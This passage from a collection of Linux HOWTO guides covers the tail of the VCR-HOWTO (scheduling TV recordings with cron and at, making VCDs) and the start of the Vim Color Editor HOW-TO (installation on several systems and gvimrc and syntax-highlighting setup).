channel = 14
fine = 0

[CH15 15]
channel = 15
fine = 0

[CH16 16]
channel = 16
fine = 0

[CH17 17]
channel = 17
fine = 0

[CH18 18]
channel = 18
fine = 0

[CH19 19]
channel = 19
fine = 0

[CH20 20]
channel = 20
fine = 0

[CH21 21]
channel = 21
fine = 0

[CH22 22]
channel = 22
fine = 0

[CH23 23]
channel = 23
fine = 0

[CH24 24]
channel = 24
fine = 0

[CH25 25]
channel = 25
fine = 0

[CH26 26]
channel = 26
fine = 0

[CH27 27]
channel = 27
fine = 0

[CH28 28]
channel = 28
fine = 0

[CH29 29]
channel = 29
fine = 0

[CH30 30]
channel = 30
fine = 0

[CH31 31]
channel = 31
fine = 0

[CH32 32]
channel = 32
fine = 0

[CH33 33]
channel = 33
fine = 0

[CH34 34]
channel = 34
fine = 0

[CH35 35]
channel = 35
fine = 0

[CH36 36]
channel = 36
fine = 0

[CH37 37]
channel = 37
fine = 0

[CH38 38]
channel = 38
fine = 0

[CH39 39]
channel = 39
fine = 0

[CH40 40]
channel = 40
fine = 0

[CH41 41]
channel = 41
fine = 0

[CH42 42]
channel = 42
fine = 0

[CH43 43]
channel = 43
fine = 0

[CH44 44]
channel = 44
fine = 0

[CH45 45]
channel = 45
fine = 0

[CH46 46]
channel = 46
fine = 0

[CH47 47]
channel = 47
fine = 0

[CH48 48]
channel = 48
fine = 0

[CH49 49]
channel = 49
fine = 0

[CH50 50]
channel = 50
fine = 0

[CH51 51]
channel = 51
fine = 0

[CH52 52]
channel = 52
fine = 0

[CH53 53]
channel = 53
fine = 0

[CH54 54]
channel = 54
fine = 0

[CH55 55]
channel = 55
fine = 0

[CH56 56]
channel = 56
fine = 0

[CH57 57]
channel = 57
fine = 0

[CH58 58]
channel = 58
fine = 0

[CH59 59]
channel = 59
fine = 0

3.5 Using cron to record your favorite program.

You may want to verify vcr will record your program before setting up cron to record your programs. You can test this by doing "vcr -t 2m test.avi", then try to play back that two-minute sample using aviplay. Note that you will need to add '/usr/local/bin' to your path and '/usr/local/lib' to your ld library path for this to work properly. It was also suggested that you can use 'at' to record your program as well, this may be useful for times when you just want to record a program once at a specific time, but not regularly. Here is a sample shell script that can be called from cron:

Sample cron shell script

This is a very simple script that merely switches to a channel and records sixty minutes of a program to a date oriented filename. Place this in $HOME/bin of the user who will actually do the recording - since I am going to run it at 6pm, I'll call it recordshow6pm.sh.

#!/bin/sh
LD_LIBRARY_PATH=/usr/local/lib
export LD_LIBRARY_PATH
PATH=/usr/local/bin:$PATH
export PATH

DATE=`date +%m%d%y`
FILENAME=/path/to/myshow-6pm-$DATE.avi
v4lctl setstation 3
vcr -t 60m $FILENAME

Calling the script from cron

Now it's time to call it from cron, monday through friday at 6pm. To do this, run the crontab -e command as the correct user and enter the following line:

00 18 * * 1-5 /home/username/bin/recordshow6pm.sh

Calling the script from at

If you'd rather call the script from at, for one-time execution, you may instead do this:

at -f /home/username/bin/recordshow6pm.sh 18:00


VCR-HOWTO - Using your GNU/Linux computer as a VCR: Alternate Recorder - Creating VCD's for playback on DVD/VCD Players

 Next Previous Contents

4. Alternate Recorder - Creating VCD's for playback on DVD/VCD Players

4.1 Introduction to VCD Creation

I must thank Alexander Oelzant for creating this portion of the VCR-HOWTO. His original version is located at: README.bttv2mpeg.

After recording shows on my computer for a while, I realized it was much nicer to watch the shows on my full-sized television set than to watch them on my computer monitor. There are two options for doing this: 1) Purchase a video card with TV-OUT and run a cable to my television. or 2) Create a VCD and play it in my DVD Player. Since CD-R and CD-RW media is really cheap I decided to go this route.

This section could theoretically be done in a different HOWTO because it uses a different method for recording/converting than the other sections of the VCR-HOWTO use. This is primarily because I haven't figured out how to create VCD compatible mpeg's using vcr. If your goal is to create VCD's, use this section of the HOWTO. If you don't care about VCD's, completely ignore this section of the howto because these procedures require MUCH MORE disk space than using vcr to record for playing under linux.

4.2 Required Hardware for VCD Creation and Playing

1)A linux supported CD writer.
2)A bttv compatible TV Tuner Card (WinTV is one good example)
3)A VCD player or DVD Player

4.3 Required Software for VCD Creation

This is one method for creating VCD's under linux. If you have a better method, please let me know. The following list of software contains the versions I found to work well for me under Red Hat 7.1.

1)NuppelVideo 0.52a (nuvrec must be setuid root)
2)exportvideo 7e-pre4  (must be this version or later)
3)mjpegtools 1.4.1 (installed rpm found on rpmfind.net)
4)toolame 02h
5)mplex 1.1
6)vcdimager 0.6.2 (installed rpm found on rpmfind.net)
7)cdrdao 1.1.4 (rpm from redhat 7.1)

4.4 Procedure for creating a VCD

1)nuvrec -t _NUM_m _filename_
_NUM_m = size.  E.g. 30m = 30 minutes.
2)nuvplay -e _filename_.nuv | toolame -b 224 -m s /dev/stdin _filename_.mp2
3)exportvideo _filename_.nuv "|mpeg2enc -o _filename_.m1v"_
4)mplex -f 1 -s 2324 -p 1 -o _filename_.mpg _filename_.m1v _filename_.mp2_
5)vcdimager -l "Movie Title" -c _filename_.cue -b _filename_.bin _filename_.mpg_
6)cdrdao write --device _your_device_ _filename_.cue_
7)Eject the cd-r, stick it in the vcd player, press play and enjoy._
8)File Sizes From each step for 30 minutes of data._

Bytes       Filename      Created from step?  Can Delete after Step?
=====================================================================
1391756119  finefilm.nuv  1) nuvrec           2) toolame and 3) mpeg2enc
50401280    finefilm.mp2  2) toolame          4) mplex
259097824   finefilm.m1v  3) mpeg2enc         4) mplex
313793452   finefilm.mpg  4) mplex            5) vcdimager
120         finefilm.cue  5) vcdimager        6) cdrdao
318808896   finefilm.bin  5) vcdimager        6) cdrdao
---------------------------------------------------------------------
Total approx 2.3g for 30 minutes of sample data.
If you delete previous files after the appropriate steps, max used space
for 30 minutes of data was 1.7gb.


VCR-HOWTO - Using your GNU/Linux computer as a VCR: Further Information

 Next Previous Contents

5. Further Information

In this section, you'll find more information on additional utilities or ideas for making a VCR work under Linux.

5.1 MyVCR Wrapper Program proposal

We need a wrapper program that provides us with the ability to do the following things (from a main menu)

  • Archive recorded shows to CDR/CDRW/DVDRAM
  • Play Recorded shows (From hard disk or prompt for the media!)
  • Set record times for recording shows - use tvguide.com as a source for showtimes. A program that accesses tvguide.com for showtimes is: tvguide.com perl program
  • Be fully configurable to used preferred recorder/player.
  • See Kvdr as a possible place to start.

5.2 Alternate Recorders

  • Slow-CPU Capture Program
  • Vstream
  • Qdvt

5.3 Recording Results

  • Serge Wroclawski - 200mhz CPU is not fast enough.
  • Brian Hayward - 900mhz Duron is fast enough.
  • Brian Hayward - 875mhz Duron is fast enough.
  • Stephen Moore - 500mhz Celeron CPU is not fast enough.

5.4 Other Suggested Ideas

  • Describe recording from FM Tuner (radio) card and piping it to oggvorbiz or mp3encoder.
  • Cable Descramblers: fscktv and CableTV.
  • Figure out how to implement VCR+
  • Check out the Video Disk Recorder Project - build your own digital satellite receiver.
  • Check out the LinuxTV project.
  • A Menu Driven Video Recorder: Kvdr


VCR-HOWTO - Using your GNU/Linux computer as a VCR: Getting Help

 Next Previous Contents

6. Getting Help

Feel free to contact me if you have any questions. For product specific questions, you may also make use of resources for the specific application. As always, read the documentation for each product before contacting someone. I may be contacted at twivel@slothmud.org.


VCR-HOWTO - Using your GNU/Linux computer as a VCR: Concluding Remarks

 Next Previous Contents

7. Concluding Remarks

I hope this document has been helpful. If you have any ideas or improvements to this document, please feel free to contact me.


VCR-HOWTO - Using your GNU/Linux computer as a VCR: Questions and Answers

 Next Previous Contents

8. Questions and Answers

This is just a collection of what I believe are the most common questions people might have. Give me more feedback and I will turn this section into a proper FAQ.

  • Q:Why don't I get audio when playing back recorded programs?

    A: This could be due to several things. In order for audio recording to work, you must have the tuner card send output to the 'line-in' on your sound card. You must also use the mixer to enable the line-in on the sound card (if you hear sound while recording the show, it is probably enabled). I used to have my tuner card sound sent to my stereo receiver instead of the sound card, which was why I didn't get sound. Finally, it may be that the sound was record properly, but your sound device is in use by another program (esd, licq, xmms, etc).

  • Q: Why is my video very jumpy?

    A: This may be due to a slow CPU. I currently haven't determined the exact requirements for recording with this method, I'm hoping user feedback will help me figure out what CPU is indeed required. I have a Duron 700 that seems to work fine, but I've heard that people with a 200-500mhz processor are unable to get smooth video.

  • Q: Why is the audio/video out of sync?

    A: This may be due to an incorrect FPS setting for your video type. For NTSC you will want to use 29.97. For PAL you will want to use 25. I still don't get perfect audio/video synchronization - but I can live with it. Hopefully this will improve over time.


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting)

Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v17.9, 11 April 2002

This document is a guide to quickly setting up the Vim color editor on Linux or Unix systems. The information here will improve the productivity of programmers because the Vim editor supports syntax color highlighting and bold fonts, improving the "readability" of program code. A programmer's productivity improves 2 to 3 times with a color editor like Vim. The information in this document applies to all operating sytems where Vim works, such as Linux, Windows 95/NT, Apple Mac, IBM OSes, VMS, BeOS and all flavors of Unix like Solaris, HPUX, AIX, SCO, Sinix, BSD, Ultrix etc.. (it means almost all operating systems on this planet!)

1. Introduction

  • 1.1 Before you Install
  • 1.2 Install Vim on Redhat Linux
  • 1.3 Install Vim on Debian GNU/Linux
  • 1.4 Install Vim on Unixes
  • 1.5 Install Vim on Microsoft Windows 95/NT
  • 1.6 Install Vim on VMS
  • 1.7 Install Vim on OS/2
  • 1.8 Install Vim on Apple Macintosh

2. Install Vim on Microsoft Windows 95/NT

  • 2.1 Install bash shell
  • 2.2 Edit bash_profile
  • 2.3 Setup Window colors

3. Setup gvim init files

  • 3.1 Sample gvimrc file
  • 3.2 Xdefaults parameters

4. Color Syntax init files

  • 4.1 Auto source-in method
  • 4.2 Manual method

5. VIM Usage

6. Remote Vi - MS Windows QVWM Manager

7. Vi companions

  • 7.1 Ctags for ESQL
  • 7.2 Ctags for JavaScript programs, Korn, Bourne shells
  • 7.3 Debugger gdb

8. Online VIM help

9. Vim Home page and Vim links

10. Vim Tutorial

  • 10.1 Vim Hands-on Tutorial
  • 10.2 Vi Tutorials on Internet

11. Vi Tutorial

  • 11.1 Cursor Movement Commands
  • 11.2 Repeat Counts
  • 11.3 Deleting Text
  • 11.4 Changing Text
  • 11.5 Yanking (Copying) Text
  • 11.6 Filtering text
  • 11.7 Marking Lines and Characters
  • 11.8 Naming Buffers
  • 11.9 Substitutions
  • 11.10 Miscellaneous "Colon Commands"
  • 11.11 Setting Options
  • 11.12 Key Mappings
  • 11.13 Editing Multiple Files
  • 11.14 Final Remarks

12. Vim Reference Card

  • 12.1 Vi states
  • 12.2 Shell Commands
  • 12.3 Setting Options
  • 12.4 Notations used
  • 12.5 Interrupting, cancelling
  • 12.6 File Manipulation
  • 12.7 Movement
  • 12.8 Line Positioning
  • 12.9 Character positioning
  • 12.10 Words, sentences, paragraphs
  • 12.11 Marking and returning
  • 12.12 Corrections during insert
  • 12.13 Adjusting the screen
  • 12.14 Delete
  • 12.15 Insert, change
  • 12.16 Copy and Paste
  • 12.17 Operators (use double to affect lines)
  • 12.18 Search and replace
  • 12.19 General
  • 12.20 Line Editor Commands
  • 12.21 Other commands

13. Related URLs

14. Other Formats of this Document

  • 14.1 Acrobat PDF format
  • 14.2 Convert Linuxdoc to Docbook format
  • 14.3 Convert to MS WinHelp format
  • 14.4 Reading various formats

15. Copyright Notice


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Introduction

 Next Previous Contents

1. Introduction

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

Vim stands for 'Vi Improved'. Vi is the most popular and powerful editors in the Unix world. Vi is an abbreviation for "Visual" editor. One of the first editors was a line editor called 'ed' (and 'ex'). The Visual editor like Vi was a vast improvement over line editors like 'ed' (or 'ex'). The editors 'ed' and 'ex' are still available on Linux: see 'man ed' and 'man ex'.

A good editor improves programmer productivity. Vim supports color syntax highlighting of program code and also emphasises text using different fonts like normal, bold or italics. A color editor like Vim can improve the productivity of programmers by 2 to 3 times!! Programmers can read the code much more rapidly as the code syntax is colored and highlighted.

1.1 Before you Install

Before you install Vim, please refer to the OS specific release notes and information about compiling and usage of Vim at -

  • Go to this location and look for files os_*.txt http://cvs.vim.org/cgi-bin/cvsweb/vim/runtime/doc
If you do not have the Vim package (RPM, DEB, tar, zip) then download the Vim source code by ftp from the official Vim site
  • The home page of vim is at http://www.vim.org
  • Mirror site in US is at http://www.us.vim.org
  • Ftp site ftp://ftp.vim.org/pub/vim
  • Or use one of the mirrors ftp://ftp.vim.org/pub/vim/MIRRORS

1.2 Install Vim on Redhat Linux

To use Vim install the following RPM packages on Redhat Linux -

        rpm -i vim*.rpm
OR do this -
        rpm -i vim-enhanced*.rpm
        rpm -i vim-X11*.rpm
        rpm -i vim-common*.rpm
        rpm -i vim-minimal*.rpm
You can see the list of files the vim rpm installs by -
        rpm -qa | grep ^vim | xargs rpm -ql | less
or
        rpm -qa | grep ^vim | awk '{print "rpm -ql " $1 }' | /bin/sh | less
and browse output using j,k, CTRL+f, CTRL+D, CTRL+B, CTRL+U or using arrow keys, page up/down keys. See 'man less'.

Note that the RPM packages for Redhat Linux use a Motif interface. If you have installed the GTK libraries on your system, consider compiling Vim from the source code for a clean GUI interface. For information on compiling Vim from the source code, see "Install Vim on Unixes", below.

1.3 Install Vim on Debian GNU/Linux

To install Vim on Debian Linux (GNU Linux), login as root and when connected to internet type -

apt-get install vim vim-rt
It will download the latest version of vim, install it, configure it. The first package listed is vim, the standard editor, compiled with X11 support, vim-rt is the vim runtime, it holds all the syntax and help files.

On Debian 3.0 (woody) and above, use 'apt-get install vim' instead. The vim-rt package is part of the main vim package.

1.4 Install Vim on Unixes

For other flavors of unixes like Solaris, HPUX, AIX, Sinix, SCO download the source code file ( see Before you Install )

        zcat vim.tar.gz | tar -xvf -
        cd vim-5.5/src
        ./configure --enable-gui=motif
        make
        make install

1.5 Install Vim on Microsoft Windows 95/NT

See Install on MS Windows.

1.6 Install Vim on VMS

Download files

You will need both the Unix and Extra archives to build vim.exe for VMS. For using Vim's full power you will need the runtime files as well. Get these files ( see Before you Install )

You can download precompiled executables from: http://www.polarfox.com/vim

VMS vim authors are -

  • zoltan.arpadffy@essnet.se
  • arpadffy@altavista.net
  • cec@gryphon.gsfc.nasa.gov
  • BNHunsaker@chq.byu.edu
  • sandor.kopanyi@altavista.net

Compiling

Unpack the Unix and Extra archives together into one directory. In the <.SRC> subdirectory you should find the make file OS_VMS.MMS. By editing this file you may choose between building the character, GUI and debug version. There are also additional options for Perl, Python and Tcl support.

You will need either the DECSET mms utility or the freely available clone of it called mmk (VMS has no make utility in the standard distribution). You can download mmk from http://www.openvms.digital.com/freeware/MMK/

If you have MSS on your system, the command

> mms /descrip=os_vms.mms

will start building your own customised version of Vim. The equivalent command for mmk is:

> mmk /descrip=os_vms.mms

Deploy

Vim uses a special directory structure to hold the document and runtime files:

   vim (or wherever)
    |- tmp
    |- vim55
    |----- doc
    |----- syntax
    |- vim56
    |----- doc
    |----- syntax
    vimrc    (system rc files)
    gvimrc

Use:

>       define/nolog device:[leading-path-here.vim]       vim
>       define/nolog device:[leading-path-here.vim.vim56] vimruntime
>       define/nolog device:[leading-path-here.tmp]       tmp

to get vim.exe to find its document, filetype, and syntax files, and to specify a directory where temporary files will be located. Copy the "runtime" subdirectory of the vim distribution to vimruntime.

Note: Logicals $VIMRUNTIME and $TMP are optional. Read more at :help runtime

Practical usage

Usually you want to run just one version of Vim on your system, therefore it is enough to dedicate one directory for Vim. Copy all Vim runtime directory structure to the deployment position. Add the following lines to your LOGIN.COM (in SYS$LOGIN directory). Set up logical $VIM as:

>       $ define VIM device: <path>

Set up some symbols:

>       $ ! vi starts Vim in chr. mode.
>       $ vi*m  :== mcr device:<path>VIM.EXE

>       $ !gvi starts Vim in GUI mode.
>       $ gv*im :== spawn/nowait mcr device:<path>VIM.EXE -g

Create .vimrc and .gvimrc files in your home directory (SYS$LOGIN).

The easiest way is just rename example files. You may leave the menu file (MENU.VIM) and files vimrc and gvimrc in the original $VIM directory. It will be default setup for all users, and for users is enough just to have their own additions or resetting in home directory in files .vimrc and .gvimrc. It should work without problems.

Note: Remember, system rc files (default for all users) do not have the leading "." So, system rc files are:

>       VIM$:vimrc
>       VIM$:gvimrc
>       VIM$:menu.vim
and user's customised rc files are:
>       sys$login:.vimrc
>       sys$login:.gvimrc

You can check that everything is on the right place with the :version command.

Example LOGIN.COM:

>       $ define/nolog VIM RF10:[UTIL.VIM]
>       $ vi*m  :== mcr VIM:VIM.EXE
>       $ gv*im :== spawn/nowait mcr VIM:VIM.EXE -g
>       $ set disp/create/node=192.168.5.223/trans=tcpip

Note: This set-up should be enough if you are working in a standalone server or clustered environment, but if you want to use Vim as an internode editor, it should suffice. You just have to define the "whole" path:

>       $ define VIM "<server_name>[""user password""]::device:<path>"
>       $ vi*m :== "mcr VIM:VIM.EXE"

as for example:

>       $ define VIM "PLUTO::RF10:[UTIL.VIM]"
>       $ define VIM "PLUTO""ZAY mypass""::RF10:[UTIL.VIM]" ! if passwd required

You can also use $VIMRUNTIME logical to point to proper version of Vim if you have multiple versions installed at the same time. If $VIMRUNTIME is not defined Vim will borrow value from $VIM logical. You can find more information about $VIMRUNTIME logical by typing :help runtime as a Vim command.

GUI mode questions

VMS is not a native X window environment, so you can not start Vim in GUI mode "just like that". But it is not too complicated to get a running Vim.

1) If you are working on the VMS X console:
   Start Vim with the command:

>       $ mc device:<path>VIM.EXE -g

   or type :gui as a command to the Vim command prompt. For more info :help gui

2) If you are working on other X window environment as Unix or some remote X
   VMS console. Set up display to your host with:

>       $ set disp/create/node=<your IP address>/trans=<transport-name>

   and start Vim as in point 1. You can find more help in VMS documentation or
   type: help set disp in VMS prompt.
   Examples:

>       $ set disp/create/node=192.168.5.159             ! default trans is DECnet
>       $ set disp/create/node=192.168.5.159/trans=tcpip ! TCP/IP network
>       $ set disp/create/node=192.168.5.159/trans=local ! display on the same node

Note: you should define just one of these. For more information type $help set disp in VMS prompt.

1.7 Install Vim on OS/2

Read the release notes for Vim on OS/2, see Before you Install .

At present there is no native PM version of the GUI version of vim: The OS/2 version is a console application. However, there is now a Win32s-compatible GUI version, which should be usable by owners of Warp 4 (which supports Win32s) in a Win-OS/2 session. The notes in this file refer to the native console version.

To run Vim, you need the emx runtime environment (at least rev. 0.9b). This is generally available as (ask Archie about it):

    emxrt.zip     emx runtime package

1.8 Install Vim on Apple Macintosh

Read the release notes for Vim on OS/2, see Before you Install .

The author of Vim on Mac (old version vim 3.0) is

Eric Fischer
5759 N. Guilford Ave
Indianapolis IN 46220 USA
Email to enf@pobox.com

Mac Bug Report When reporting any Mac specific bug or feature change, makes sure to include the following address in the "To:" or "Copy To:" field.

dany.stamant@sympatico.ca

Vim compiles out of the box with the supplied CodeWarrior project when using CodeWarrior 9. If you are using a more recent version (e. g. CW Pro) you have to convert the project first. When compiling Vim for 68k Macs you have to open the "size" resource in ResEdit and enable the "High level events aware" button to get drag and drop working. You have to increase the memory partition to at least 1024 kBytes to prevent Vim from crashing due to low memory.

 vim:ts=8:sw=8:tw=78:


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Install Vim on Microsoft Windows 95/NT

 Next Previous Contents

2. Install Vim on Microsoft Windows 95/NT

For Windows 95/NT, download the Vim zip file. For Windows 95/NT you must download TWO zip files -

  • Runtime support file vim*rt.zip
  • Vim command file vim*60.zip. Where Vim version is 5.6.

Get these two zip files from: Goto http://www.vim.org and click on Download-> download FAQ-> Windows 95/NT or click on these ftp://vim.ftp.fu-berlin.de/pc/gvim60.zip and ftp://vim.ftp.fu-berlin.de/pc/vim60rt.zip. ( see also Before you Install )

Unpack the zip files using the Winzip http://www.winzip.com. Both the zip files (vim*rt.zip and vim*60.zip) must be unpacked in the same directory like say c:\vim.

For Windows 95/98, set the environment variable VIM (all caps no lowercase) in autoexec.bat by adding this line -

set VIM=c:\vim\vim60
For Windows NT, add the environment variable VIM (all caps no lowercase) to the Start | Control Panel | System | Environment | System Properties dialog. For Windows 2000, click on Start | Control Panel | System | Advanced | Environment Variable dialog and add variable VIM (all caps no lowercase):
VIM=c:\vim\vim60

The VIM variable should point to wherever you installed the vim60 directory. You can also set your PATH to include the gvim.exe's path.

You may need to logoff and relogin to set your environment. Bring up a MS-DOS window by click on Start->Programs->MSDOS (for Windows 95/98) and Start->Run->cmd (for Windows NT/2000). At an MS-DOS prompt type -

c:\> set vim
c:\> cd vim\vim60
c:\> install.exe
For 'set vim' command, you should see - VIM=c:\vim\vim60 and start the install program which will setup the enviroment.

Create a short-cut on to your desktop by click-and-drag from c:\vim\vim60\gvim.exe.

Color Syntax Highlighting: To enable color syntaxt highlighting and other nice features you must copy the gvimrc_example file to the $VIM\_gvimrc. In my case it is c:\vim\vim60\_gvimrc.

c:\> copy c:\vim\vim60\gvimrc_example  $VIM\_gvimrc

Useful Tips :

  • Just double click on gvim icon on desktop and click MyComputer->C:drive->Select a file and drag and drop it into the gvim window. The file is automatically opened by gvim window!!

  • To automatically maximize the Vim window in MS Windows, you can use http://www.southbaypc.com/AutoSizer or you can right click on Gvim shortcut and select properties and pick maximize the window on startup.

2.1 Install bash shell

In order make MS Windows 95/98/NT/2000/XP even more user-friendly, install the bash shell (Bourne Again Shell). Install http://sources.redhat.com/cygwin/setup.exe (Cygwin-setup program) and select bash and other common utilities. The CygWin main site is at http://sources.redhat.com/cygwin. With CygWin the Windows 2000 computer will look like Linux/Unix box!! And combined with gvim editor, the Windows 2000 gives programmers more power. The cygwin home is at http://cygwin.com.

You may also want to install MKS in case you are planning to use Java and Java compilers. Get MKS from http://www.mks.com.

2.2 Edit bash_profile

After installing the Cygwin, insert some useful aliases in /.bash_profile file. Open a cygwin window and at bash prompt -

bash$ cd $HOME
bash$ gvim .bash_profile
set -o vi
alias ls='ls --color '
alias cp='cp -i '
alias mv='mv -i '
alias rm='rm -i '
alias vi='gvim '
alias vip='gvim ~/.bash_profile & '
alias sop='. ~/.bash_profile '
alias mys='mysql -uroot -p '
PATH=$PATH:"/cygdrive/c/Program Files/mysql/bin"
With color ls, when you do ls you will see all the directory names and files in different colors (it looks great!!). With set -o vi, you can use the command line history editing just as in linux.

2.3 Setup Window colors

The default background color of MS DOS prompt window is black and white text. You must change the color, fontsize and window size to make it more pleasing. On MS Windows 2000, click on button Start->Run and type "cmd" and hit return. On MS Windows 95/98/NT click on Start->Programs->MSDOS Prompt which will bring up MSDOS window. Right click on the top left corner of the MSDOS prompt window and select properties. Select color background and enter R=255, G=255, B=190 (red, green, blue) for lightyellow background and text foreground color to black (R=0, G=0, B=0). This sets background to light yellow and text foreground to black and this combination is most pleasing to human eyes. If you have problems with colors in cygwin bash window when doing 'man ls', set the text color to "marune".

For Windows95 see Color for MS-DOS prompt window.


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Setup gvim init files

 Next Previous Contents

3. Setup gvim init files

To enable the syntax color highlighting you MUST copy the gvimrc file to your home directory. This will also put the "Syntax" Menu with gvim command. You can click on Syntax Menu and select appropriate languages like C++, Perl, Java, SQL, ESQL etc..

cd $HOME
cp /usr/doc/vim-common-5.3/gvimrc_example  ~/.gvimrc
Comment lines in .gvimrc begin with double-quotes ("). You can customize gvim by editing the file $HOME/.gvimrc and put the following lines -
" This line is a comment .... one which begins with double-quotes
" The best is the bold font, try all of these and pick one....
set guifont=8x13bold
"set guifont=9x15bold
"set guifont=7x14bold
"set guifont=7x13bold
"
" Highly recommended to set tab keys to 4 spaces
set tabstop=4
set shiftwidth=4
"
" The opposite is 'set wrapscan' while searching for strings....
set nowrapscan
"
" The opposite is set noignorecase
set ignorecase
set autoindent
"
" You may want to turn off the beep sounds (if you want quite) with visual bell
" set vb

" Source in your custom filetypes as given below -
" so $HOME/vim/myfiletypes.vim
It is very strongly recommended that you set the tabstop to 4 and shiftwidth to 4. The tabstop is the number of spaces the TAB key will indent while editing with gvim. The shiftwidth is the number of spaces the lines will be shifted with ">>" or "<<" vi commands. Refer to Vi tutorials Vim Tutorial for more details.

To see the list of available fonts on Linux/Unix see the command xlsfonts. Type -

        bash$ xlsfonts | less
        bash$ xlsfonts | grep -i bold | grep x
        bash$ man xlsfonts

3.1 Sample gvimrc file

You can change the settings like color, bold/normal fonts in your $HOME/.gvimrc file. It is very strongly recommended that you set the background color to lightyellow or white with black foreground. Ergonomics says that best background color is lightyellow or white with black foreground. Hence change the variable 'guibg' in your $HOME/.gvimrc file as follows:

        highlight Normal guibg=lightyellow

The sample gvimrc from /usr/doc/vim-common-5.3/gvimrc_example is as follows:

" Vim
" An example for a gvimrc file.
" The commands in this are executed when the GUI is started.
"
" To use it, copy it to
"     for Unix and OS/2:  ~/.gvimrc
"             for Amiga:  s:.gvimrc
"  for MS-DOS and Win32:  $VIM\_gvimrc

" Make external commands work through a pipe instead of a pseudo-tty
"set noguipty

" set the X11 font to use. See 'man xlsfonts' on unix/linux
" set guifont=-misc-fixed-medium-r-normal--14-130-75-75-c-70-iso8859-1
set guifont=8x13bold
"set guifont=9x15bold
"set guifont=7x14bold
"set guifont=7x13bold
"
" Highly recommended to set tab keys to 4 spaces
set tabstop=4
set shiftwidth=4
"
" The opposite is 'set wrapscan' while searching for strings....
set nowrapscan
"
" The opposite is set noignorecase
set ignorecase
"
" You may want to turn off the beep sounds (if you want quite) with visual bell
" set vb

" Source in your custom filetypes as given below -
" so $HOME/vim/myfiletypes.vim

" Make command line two lines high
set ch=2

" Make shift-insert work like in Xterm
map <S-Insert> <MiddleMouse>
map! <S-Insert> <MiddleMouse>

" Only do this for Vim version 5.0 and later.
if version >= 500

  " I like highlighting strings inside C comments
  let c_comment_strings=1

  " Switch on syntax highlighting.
  syntax on

  " Switch on search pattern highlighting.
  set hlsearch

  " For Win32 version, have "K" lookup the keyword in a help file
  "if has("win32")
  "  let winhelpfile='windows.hlp'
  "  map K :execute "!start winhlp32 -k <cword> " . winhelpfile <CR>
  "endif

  " Hide the mouse pointer while typing
  set mousehide

  " Set nice colors
  " background for normal text is light grey
  " Text below the last line is darker grey
  " Cursor is green
  " Constants are not underlined but have a slightly lighter background
  highlight Normal guibg=grey90
  highlight Cursor guibg=Green guifg=NONE
  highlight NonText guibg=grey80
  highlight Constant gui=NONE guibg=grey95
  highlight Special gui=NONE guibg=grey95

endif
See also sample vimrc used for console mode vim command from /usr/doc/vim-common-5.3/vimrc_example.

3.2 Xdefaults parameters

You can set some of the Vim properties in Xdefaults file.

WARNING: Do not set Vim*geometry as it will break the gvim menu, use Vim.geometry instead.

Edit the $HOME/.Xdefaults file and add the following lines:

! GVim great Colors.
Vim*useSchemes:         all
Vim*sgiMode:            true
Vim*useEnhancedFSB:     true
Vim.foreground:         Black
!Vim.background:        lightyellow2
Vim*background:         white
! Do NOT use Vim*geometry , this will break the menus instead
! use Vim.geometry. Asterisk between Vim and geometry is not allowed.
! Vim.geometry: widthxheight
Vim.geometry:           88x40
!Vim*font:              -misc-fixed-medium-r-normal--20-200-75-75-c-100-iso8859-15-*5
Vim*menuBackground: yellow
Vim*menuForeground: black
In order for this change to take effect, type -
        xrdb -merge $HOME/.Xdefaults
        man xrdb

You can also edit the ~/.gvimrc file to change the background colors

        gvim $HOME/.gvimrc
The best background color is lightyellow or white, with black foreground.
        highlight Normal guibg=lightyellow


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Color Syntax init files

 Next Previous Contents

4. Color Syntax init files

4.1 Auto source-in method

This section below is obtained from gvim session by typing 'help syntax' -

bash$ gvim some_test
:help syntax
Click on the menu Window=>Close_Others to close other Window. And then do CTRL+] on 'Syntax Loading Procedure' menu which will take you there. (Use CTRL+T to rewind and go back).

If a file type you want to use is not detected, then there are two ways to add it.

Method 1: You can modify the $VIMRUNTIME/filetype.vim file, but this is not recommended as it will be overwritten when you install a new version of Vim.

Method 2: Create a file in $HOME/vim/myfiletypes.vim and put these lines in it -

"
" *************************************************************
" Filename : $HOME/vim/myfiletypes.vim
" See the document by typing :help autocmd within vim session
" see also the doc at /usr/share/vim/doc/autocmd.txt
" This file will setup the autocommands for new filetypes
" using the existing syntax-filetypes.
" For example when you open foo.prc it will use syntax of plsql
" Basically does :set filetype=prc inside vim
" Add a line in $HOME/.gvimrc as below:
" so $HOME/vim/myfiletypes.vim
"
" *************************************************************

augroup filetype
        au!
        au! BufRead,BufNewFile *.phc    set filetype=php
        au! BufRead,BufNewFile *.mine   set filetype=mine
        au! BufRead,BufNewFile *.xyz    set filetype=drawing
        au! BufRead,BufNewFile *.prc    set filetype=plsql
augroup END
Then add a line in your $HOME/.vimrc and $HOME/.gvimrc file to source in the file "myfiletypes.vim". (CAUTION: You MUST put this in both vimrc and gvimrc files in order for this to work) Example:
        so $HOME/vim/myfiletypes.vim

NOTE: Make sure that you set "so myfiletypes.vim" before switching on file type detection. This is must be before any ":filetype on" or ":syntax on" command.

See the documentation on autocommand at -

  • :help autocmd (within a vim editing session)
  • See also the doc at /usr/share/vim/doc/autocmd.txt

Your file will then be sourced in after the default FileType autocommands have been installed. This allows you to overrule any of the defaults, by using ":au!" to remove any existing FileType autocommands for the same pattern. Only the autocommand to source the scripts.vim file is given later. This makes sure that your autocommands in "myfiletypes.vim" are used before checking the contents of the file.

4.2 Manual method

Instead of using "Syntax" menu you can also manually source in the syntax file. Edit the file with gvim and at : (colon) command give 'so' command. For example -

        gvim foo.pc
        :so $VIM/syntax/esqlc.vim
The syntax source files are at /usr/share/vim/syntax/*.vim. Vim supports more than 120 different syntax files for different languages like C++, PERL, VHDL, JavaScript,...and so on!!

Each syntax file supports one or more default file name extensions, for example, JavaScript syntax file supports the *.js extension. If you happen to use an extension that conflicts with another default syntax file (such as adding JavaScript to a *.html file) than you can source in the additional syntax file with the command :so $VIM/syntax/javascript.vim. To avoid all of this typing, you can create a soft link like -

        ln -s $VIM/syntax/javascript.vim js
        gvim foo.html  (... this file contains javascript functions and HTML)
        :so js


